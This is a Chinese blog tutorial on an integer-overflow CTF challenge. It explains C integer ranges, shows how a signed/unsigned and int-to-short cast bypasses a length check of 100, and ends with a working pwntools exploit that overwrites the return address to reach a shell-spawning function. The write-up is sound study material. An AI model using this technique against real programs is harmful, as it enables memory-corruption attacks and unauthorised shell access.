pwn学习(整数溢出)

整数溢出

ctf-wiki基础知识

请先浏览上述链接

类型 字节 范围
short int 2byte 0~0x7fff 0x8000~0xffff
unsigned short int 2byte 0~0xffff
int 4byte 0~0x7fffffff 0x80000000~0xffffffff
unsigned int 4byte 0~0xffffffff
long int 8byte 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff
unsigned long int 8byte 0~0xffffffffffffffff
  • 当程序中的数据超过其数据类型的范围事,就会造成溢出,整数类型的溢出则被称为整数溢出
  • 当一个数类型为有符号int时,如何判断其为正数或者负数,看最高位,最高位为1,则其为负数,最高位为0,则其为正数

example

老规矩,先checksec

pwn学习(整数溢出)_第1张图片

放入IDA分析

pwn学习(整数溢出)_第2张图片

需要注意4个点
  • 输入的v8原本是无符号整数,在1处转为有符号整数
  • 并且其不能大于100
  • int16实际为short类型,在2处,将v8的值大数变小数,强制类型转换大范围int类型转为小范围short类型的数
  • 在3处,通过read函数读入了8个字节(如果不懂8nLL是什么意思,可以跳转到汇编,直接看汇编)
    pwn学习(整数溢出)_第3张图片
  • 在4处,将读入的a字符串,赋给v7,v7是一个char类型数组,可以通过数组越界来写地址

程序逻辑

  • 首先输入一个长度,该长度不能超过100
  • 然后输入内容,通过输入的内容直接跳到system(shell)的地址处
  • 根据IDA可以看出,v7数组与rbp的偏移是0x60,十进制是96
  • ebp是8,所以应该从104开始写shell地址
  • 104需要绕过100的限制
  • 利用上小节中说的无符号int和有符号int转换,令最高位为1即可
  • 并且在int转为short类型时,需要控制最低两个字节,使它们索引到返回地址处。
  • 我们可用0x80000068这个长度,换成十进制是‭2147483752。

编写EXP

from pwn import *
sh = process('./input_6f4254b6f89d07d06813fc8bbcd1a057')

success_add = 0x00000000004007BA

#payload =  'a' * 8 + p64(success_add)
//如果read函数可以读更多字节的话,也可不用绕过100的限制,先覆盖ebp的值,再覆盖返回地址的值
payload = p64(success_add)

print payload

sh.recv()

sh.sendline("2147483752")

sh.recv()

sh.sendline(payload)

sh.interactive()

你可能感兴趣的:(pwn)